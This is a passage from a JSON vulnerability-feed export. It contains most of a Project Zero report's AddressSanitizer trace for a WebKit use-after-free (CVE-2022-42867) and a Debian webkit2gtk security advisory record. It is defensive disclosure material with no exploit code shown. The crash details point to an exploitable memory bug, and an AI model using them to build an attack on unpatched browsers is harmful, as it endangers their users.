()>::operator()() const+0x3e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2128e)  \n#8 0x15613e34e in WTF::CompletionHandler<void ()>::operator()()+0xbe (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9834e)  \n#9 0x1584adc9a in WTF::CompletionHandlerCallingScope::~CompletionHandlerCallingScope()+0x1a (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2407c9a)  \n#10 0x1584a37f8 in WTF::CompletionHandlerCallingScope::~CompletionHandlerCallingScope()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x23fd7f8)  \n#11 0x15aa76111 in WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&, WTF::CompletionHandler<void ()>&&)::$_9::~$_9()+0x11 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49d0111)  \n#12 0x15aa6af98 in WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&, WTF::CompletionHandler<void ()>&&)::$_9::~$_9()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49c4f98)  \n#13 0x15aa81ff4 in WTF::Detail::CallableWrapper<WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&, WTF::CompletionHandler<void ()>&&)::$_9, void>::~CallableWrapper()+0x34 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49dbff4)  \n#14 0x15aa81ea8 in WTF::Detail::CallableWrapper<WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&, WTF::CompletionHandler<void ()>&&)::$_9, void>::~CallableWrapper()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49dbea8)  \n#15 0x15aa81ebd in WTF::Detail::CallableWrapper<WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&, WTF::CompletionHandler<void ()>&&)::$_9, void>::~CallableWrapper()+0xd (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49dbebd)  \n#16 0x1560c7659 in std::__1::default_delete<WTF::Detail::CallableWrapperBase<void> >::operator()(WTF::Detail::CallableWrapperBase<void>*) const+0x39 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x21659)  \n#17 0x1560c75fc in std::__1::unique_ptr<WTF::Detail::CallableWrapperBase<void>, std::__1::default_delete<WTF::Detail::CallableWrapperBase<void> > >::reset(WTF::Detail::CallableWrapperBase<void>*)+0x3c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x215fc)  \n#18 0x1560c75b8 in std::__1::unique_ptr<WTF::Detail::CallableWrapperBase<void>, std::__1::default_delete<WTF::Detail::CallableWrapperBase<void> > >::~unique_ptr()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x215b8)  \n#19 0x1560c75a8 in std::__1::unique_ptr<WTF::Detail::CallableWrapperBase<void>, std::__1::default_delete<WTF::Detail::CallableWrapperBase<void> > >::~unique_ptr()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x215a8)  \n#20 0x1560c7598 in WTF::Function<void ()>::~Function()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x21598)  \n#21 0x1560c7588 in WTF::Function<void ()>::~Function()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x21588)  \n#22 0x15613e356 in WTF::CompletionHandler<void ()>::operator()()+0xc6 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x98356)  \n#23 0x1584adc9a in WTF::CompletionHandlerCallingScope::~CompletionHandlerCallingScope()+0x1a (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2407c9a)  \n#24 0x1584a37f8 in WTF::CompletionHandlerCallingScope::~CompletionHandlerCallingScope()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x23fd7f8)  \n#25 0x15aa41f91 in WebCore::ResourceLoader::didReceiveResponse(WebCore::ResourceResponse const&, WTF::CompletionHandler<void ()>&&)+0x5f1 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x499bf91)  \n#26 0x15aa69b26 in WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&, WTF::CompletionHandler<void ()>&&)+0x1646 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49c3b26)  \n#27 0x15aa59d5f in auto WebCore::ResourceLoader::loadDataURL()::$_3::operator()<std::__1::optional<WebCore::DataURLDecoder::Result> >(std::__1::optional<WebCore::DataURLDecoder::Result>)+0x50f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49b3d5f)  \n#28 0x15aa596cd in WTF::Detail::CallableWrapper<WebCore::ResourceLoader::loadDataURL()::$_3, void, std::__1::optional<WebCore::DataURLDecoder::Result> >::call(std::__1::optional<WebCore::DataURLDecoder::Result>)+0xcd (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49b36cd)  \n#29 0x15b6367d2 in WTF::Function<void (std::__1::optional<WebCore::DataURLDecoder::Result>)>::operator()(std::__1::optional<WebCore::DataURLDecoder::Result>) const+0x102 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x55907d2)  \n#30 0x15b636655 in WebCore::DataURLDecoder::decode(WTF::URL const&, WebCore::DataURLDecoder::ScheduleContext const&, WebCore::DataURLDecoder::Mode, WTF::Function<void (std::__1::optional<WebCore::DataURLDecoder::Result>)>&&)::$_0::operator()()::'lambda'()::operator()()+0xc5 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5590655)  \n#31 0x15b63650c in WTF::Detail::CallableWrapper<WebCore::DataURLDecoder::decode(WTF::URL const&, WebCore::DataURLDecoder::ScheduleContext const&, WebCore::DataURLDecoder::Mode, WTF::Function<void (std::__1::optional<WebCore::DataURLDecoder::Result>)>&&)::$_0::operator()()::'lambda'(), void>::call()+0xc (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x559050c)  \n#32 0x13b7b704e in WTF::Function<void ()>::operator()() const+0x3e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x4004e)  \n#33 0x13b87f0f4 in WTF::RunLoop::dispatch(WTF::HashSet<WTF::RefPtr<WTF::SchedulePair, WTF::RawPtrTraits<WTF::SchedulePair>, WTF::DefaultRefDerefTraits<WTF::SchedulePair> >, WTF::SchedulePairHash, WTF::HashTraits<WTF::RefPtr<WTF::SchedulePair, WTF::RawPtrTraits<WTF::SchedulePair>, WTF::DefaultRefDerefTraits<WTF::SchedulePair> > >, WTF::HashTableTraits> const&, WTF::Function<void ()>&&)::$_0::operator()(__CFRunLoopTimer*, void*) const+0xe4 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1080f4)  \n#34 0x13b87f008 in WTF::RunLoop::dispatch(WTF::HashSet<WTF::RefPtr<WTF::SchedulePair, WTF::RawPtrTraits<WTF::SchedulePair>, WTF::DefaultRefDerefTraits<WTF::SchedulePair> >, WTF::SchedulePairHash, WTF::HashTraits<WTF::RefPtr<WTF::SchedulePair, WTF::RawPtrTraits<WTF::SchedulePair>, WTF::DefaultRefDerefTraits<WTF::SchedulePair> > >, WTF::HashTableTraits> const&, WTF::Function<void ()>&&)::$_0::__invoke(__CFRunLoopTimer*, void*)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x108008)  \n#35 0x7ff80c3a1f68 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__+0x13 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x98f68)  \n#36 0x7ff80c3a1a57 in __CFRunLoopDoTimer+0x39a (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x98a57)  \n#37 0x7ff80c3a15c7 in __CFRunLoopDoTimers+0x132 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x985c7)  \n#38 0x7ff80c387cd5 in __CFRunLoopRun+0x7d9 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x7ecd5)  \n#39 0x7ff80c386e3b in CFRunLoopRunSpecific+0x231 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x7de3b)  \n#40 0x7ff80d1e4d49 in -[NSRunLoop(NSRunLoop) runMode:beforeDate:]+0xd7 (/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation:x86_64+0x5fd49)  \n#41 0x7ff80d26f796 in -[NSRunLoop(NSRunLoop) run]+0x4b (/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation:x86_64+0xea796)  \n#42 0x7ff80c00a815 in _xpc_objc_main+0x304 (/usr/lib/system/libxpc.dylib:x86_64+0x15815)  \n#43 0x7ff80c00a238 in xpc_main+0x62 (/usr/lib/system/libxpc.dylib:x86_64+0x15238)  \n#44 0x129c6d1de in WebKit::XPCServiceMain(int, char const**)+0x27e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xf121de)  \n#45 0x12c0ce6f8 in WKXPCServiceMain+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x33736f8)  \n#46 0x10c3e8ea8 in main+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x100003ea8)  \n#47 0x11629d52d (/usr/lib/dyld:x86_64+0x552d)  \n  \n0x6110000cc8c0 is located 0 bytes inside of 256-byte region [0x6110000cc8c0,0x6110000cc9c0)  \nfreed by thread T0 here:  \n#0 0x10c872b66 in __sanitizer_mz_free+0x86 (/Users/hacksonmacs/Downloads/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/14.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x4bb66)  \n#1 0x13b9fb324 in bmalloc::DebugHeap::free(void*)+0x24 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x284324)  \n#2 0x13b9fbc53 in pas_debug_heap_free+0x33 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x284c53)  \n#3 0x13b9f503c in bmalloc_heap_config_specialized_try_deallocate_not_small_exclusive_segregated+0x5dc (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x27e03c)  \n#4 0x13ba0414f in bmalloc::api::isoDeallocate(void*)+0x3df (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x28d14f)  \n#5 0x15bbcaecb in bmalloc::api::IsoHeap<WebCore::RenderMathMLToken>::deallocate(void*)+0xb (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5b24ecb)  \n#6 0x15bbcaeb2 in WebCore::RenderMathMLToken::operator delete(void*)+0x12 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5b24eb2)  \n#7 0x15bbdb175 in WebCore::RenderMathMLToken::~RenderMathMLToken()+0x15 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5b35175)  \n#8 0x15ba6f543 in WebCore::RenderObject::destroy()+0x113 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x59c9543)  \n#9 0x15ba6f42b in WebCore::RenderObjectDeleter::operator()(WebCore::RenderObject*) const+0xb (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x59c942b)  \n#10 0x15bd1bffe in std::__1::unique_ptr<WebCore::RenderObject, WebCore::RenderObjectDeleter>::reset(WebCore::RenderObject*)+0x4e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c75ffe)  \n#11 0x15bd1bfa8 in std::__1::unique_ptr<WebCore::RenderObject, WebCore::RenderObjectDeleter>::~unique_ptr()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c75fa8)  \n#12 0x15bd0dfc8 in std::__1::unique_ptr<WebCore::RenderObject, WebCore::RenderObjectDeleter>::~unique_ptr()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c67fc8)  \n#13 0x15bd0da89 in WebCore::RenderTreeBuilder::destroy(WebCore::RenderObject&, WebCore::RenderTreeBuilder::CanCollapseAnonymousBlock)+0x1e9 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c67a89)  \n#14 0x15bd155ce in WebCore::RenderTreeBuilder::destroyAndCleanUpAnonymousWrappers(WebCore::RenderObject&)+0x28e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c6f5ce)  \n#15 0x15bd3b11a in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType, WebCore::RenderTreeBuilder&)::$_6::operator()(unsigned int) const+0x2da (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c9511a)  \n#16 0x15bd38f89 in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType, WebCore::RenderTreeBuilder&)+0x389 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c92f89)  \n#17 0x15bd3a7bc in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&)+0x10c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c947bc)  \n#18 0x159af2418 in WebCore::destroyRenderTreeIfNeeded(WebCore::Node&)+0x48 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3a4c418)  \n#19 0x159af223f in WebCore::ContainerNode::removeBetween(WebCore::Node*, WebCore::Node*, WebCore::Node&)+0xdf (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3a4c23f)  \n#20 0x159aedc60 in WebCore::ContainerNode::removeChild(WebCore::Node&)+0x580 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3a47c60)  \n#21 0x159d2f8f7 in WebCore::Node::remove()+0x27 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3c898f7)  \n#22 0x156cf5939 in WebCore::jsElementPrototypeFunction_removeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)::'lambda'()::operator()() const+0x29 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc4f939)  \n#23 0x156cf57a2 in JSC::JSValue WebCore::toJS<WebCore::IDLUndefined, WebCore::jsElementPrototypeFunction_removeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)::'lambda'()>(JSC::JSGlobalObject&, JSC::ThrowScope&, WebCore::jsElementPrototypeFunction_removeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)::'lambda'()&&)+0xe2 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc4f7a2)  \n#24 0x156cf5558 in WebCore::jsElementPrototypeFunction_removeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)+0x1e8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc4f558)  \n#25 0x156cf52eb in long long WebCore::IDLOperation<WebCore::JSElement>::call<&(WebCore::jsElementPrototypeFunction_removeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)), (WebCore::CastedThisErrorBehavior)0>(JSC::JSGlobalObject&, JSC::CallFrame&, char const*)+0xfb (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc4f2eb)  \n#26 0x156ce4aa8 in WebCore::jsElementPrototypeFunction_remove(JSC::JSGlobalObject*, JSC::CallFrame*)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc3eaa8)  \n#27 0x57595d00c037 (<unknown module>)  \n#28 0x13c7335cb in llint_entry+0x1d179 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xfbc5cb)  \n#29 0x13c716248 in vmEntryToJavaScript+0xd7 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xf9f248)  \n  \npreviously allocated by thread T0 here:  \n#0 0x10c872760 in __sanitizer_mz_malloc+0xa0 (/Users/hacksonmacs/Downloads/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/14.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x4b760)  \n#1 0x7ff80c0f9aba in _malloc_zone_malloc+0x7c (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x1daba)  \n#2 0x13b9fb238 in bmalloc::DebugHeap::malloc(unsigned long, bmalloc::FailureAction)+0x28 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x284238)  \n#3 0x13b9fbb68 in pas_debug_heap_malloc+0x38 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x284b68)  \n#4 0x13b9f9db1 in pas_debug_heap_allocate+0x21 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x282db1)  \n#5 0x13b9f46b9 in bmalloc_heap_config_specialized_try_allocate_common_impl_slow+0x549 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x27d6b9)  \n#6 0x13b9c60f9 in bmalloc_iso_allocate_impl_impl_slow+0x29 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x24f0f9)  \n#7 0x13b99a123 in bmalloc_iso_allocate_impl_casual_case+0x233 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x223123)  \n#8 0x13b999ee8 in bmalloc_iso_allocate_casual+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x222ee8)  \n#9 0x13ba03673 in bmalloc::api::isoAllocate(__pas_heap_ref&)+0x1a3 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x28c673)  \n#10 0x15bbcae90 in bmalloc::api::IsoHeap<WebCore::RenderMathMLToken>::allocate()+0x10 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5b24e90)  \n#11 0x15bbcae68 in WebCore::RenderMathMLToken::operator new(unsigned long)+0x18 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5b24e68)  \n#12 0x15ab5c5fd in std::__1::unique_ptr<WebCore::RenderMathMLToken, WebCore::RenderObjectDeleter> WebCore::createRenderer<WebCore::RenderMathMLToken, WebCore::MathMLTokenElement&, WebCore::RenderStyle>(WebCore::MathMLTokenElement&, WebCore::RenderStyle&&)+0x1d (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4ab65fd)  \n#13 0x15ab5c56c in WebCore::MathMLTokenElement::createElementRenderer(WebCore::RenderStyle&&, WebCore::RenderTreePosition const&)+0xbc (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4ab656c)  \n#14 0x15bd392f1 in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&)+0x201 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c932f1)  \n#15 0x15bd37550 in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&)+0x2b0 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c91550)  \n#16 0x15bd36bdc in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&)+0x48c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c90bdc)  \n#17 0x15bd362cf in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >)+0x23f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c902cf)  \n#18 0x159b53142 in WebCore::Document::updateRenderTree(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >)+0x1a2 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3aad142)  \n#19 0x159b53b24 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType)+0x8e4 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3aadb24)  \n#20 0x159b55047 in WebCore::Document::updateStyleIfNeeded()+0x197 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3aaf047)  \n#21 0x159b82553 in WebCore::Document::finishedParsing()+0x2e3 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3adc553)  \n#22 0x15a3fc4d4 in WebCore::HTMLConstructionSite::finishedParsing()+0x24 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x43564d4)  \n#23 0x15a465cfd in WebCore::HTMLTreeBuilder::finished()+0x1d (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x43bfcfd)  \n#24 0x15a404d07 in WebCore::HTMLDocumentParser::end()+0x17 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x435ed07)  \n#25 0x15a402a28 in WebCore::HTMLDocumentParser::attemptToRunDeferredScriptsAndEnd()+0x38 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x435ca28)  \n#26 0x15a402940 in WebCore::HTMLDocumentParser::prepareToStopParsing()+0x110 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x435c940)  \n#27 0x15a404d4f in WebCore::HTMLDocumentParser::attemptToEnd()+0x3f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x435ed4f)  \n#28 0x15a404de9 in WebCore::HTMLDocumentParser::finish()+0x29 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x435ede9)  \n#29 0x15a9297c0 in WebCore::DocumentWriter::end()+0x1a0 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x48837c0)  \n  \nSUMMARY: AddressSanitizer: heap-use-after-free (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35412bf) in WebCore::CSSCrossfadeValue::crossfadeChanged()+0x28f  \nShadow bytes around the buggy address:  \n0x1c22000198c0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00  \n0x1c22000198d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  \n0x1c22000198e0: 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa  \n0x1c22000198f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd  \n0x1c2200019900: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa  \n=>0x1c2200019910: fa fa fa fa fa fa fa fa[fd]fd fd fd fd fd fd fd  \n0x1c2200019920: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd  \n0x1c2200019930: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa  \n0x1c2200019940: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd  \n0x1c2200019950: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa  \n0x1c2200019960: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd  \nShadow byte legend (one shadow byte represents 8 application bytes):  \nAddressable: 00  \nPartially addressable: 01 02 03 04 05 06 07   \nHeap left redzone: fa  \nFreed heap region: fd  \nStack left redzone: f1  \nStack mid redzone: f2  \nStack right redzone: f3  \nStack after return: f5  \nStack use after scope: f8  \nGlobal redzone: f9  \nGlobal init order: f6  \nPoisoned by user: f7  \nContainer overflow: fc  \nArray cookie: ac  \nIntra object redzone: bb  \nASan internal: fe  \nLeft alloca redzone: ca  \nRight alloca redzone: cb  \n==704==ABORTING  \n  \nThis bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. **The scheduled deadline is 2022-12-21**. For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html  \n  \n  \nRelated CVE Numbers: CVE-2022-42867.  \n  \n  \n  \nFound by: maddiestone@google.com  \n  \n`\n"
    }
  ],
  "software": [
    {
      "id": "OSV:DLA-3073-1",
      "bulletinFamily": "software",
      "title": "webkit2gtk - security update",
      "description": "\nThe following vulnerabilities have been discovered in the WebKitGTK\nweb engine:\n\n\n* [CVE-2022-32792](https://security-tracker.debian.org/tracker/CVE-2022-32792)\nManfred Paul discovered that processing maliciously crafted web\n content may lead to arbitrary code execution.\n* [CVE-2022-32816](https://security-tracker.debian.org/tracker/CVE-2022-32816)\nDohyun Lee discovered that visiting a website that frames\n malicious content may lead to UI spoofing.\n\n\nFor Debian 10 buster, these problems have been fixed in version\n2.36.6-1~deb10u1.\n\n\nWe recommend that you upgrade your webkit2gtk packages.\n\n\nFor the detailed security status of webkit2gtk please refer to\nits security tracker page at:\n<https://security-tracker.debian.org/tracker/webkit2gtk>\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n",
      "published": "2022-08-17T00:00:00",
      "modified": "2022-08-17T11:20:20",
      "cvss": {
        "score": 0.0,
        "vector": "NONE"
      },
      "cvss2": {},
      "cvss3": {},
      "href": "https://osv.dev/vulnerability/DLA-3073-1",
      "cvelist": [
        "CVE-2022-32816",
        "CVE-2022-32792"
      ],
      "type": "osv",
      "lastseen": "2022-08-17T11:20:23",
      "edition": 1,
      "affectedSoftware": [
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.24.4-1~deb10u1"
        },
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.34.5-1"
        },
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.32.2-1"
        },
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.33.91-1"
        },
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.28.1-1"
        },
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.36.0-1"
        },
        {
          "name": "webkit2gtk",
          "operator": "eq",
          "version": "2.30.6-1"
        },
        {
          "name": "webkit2gtk",
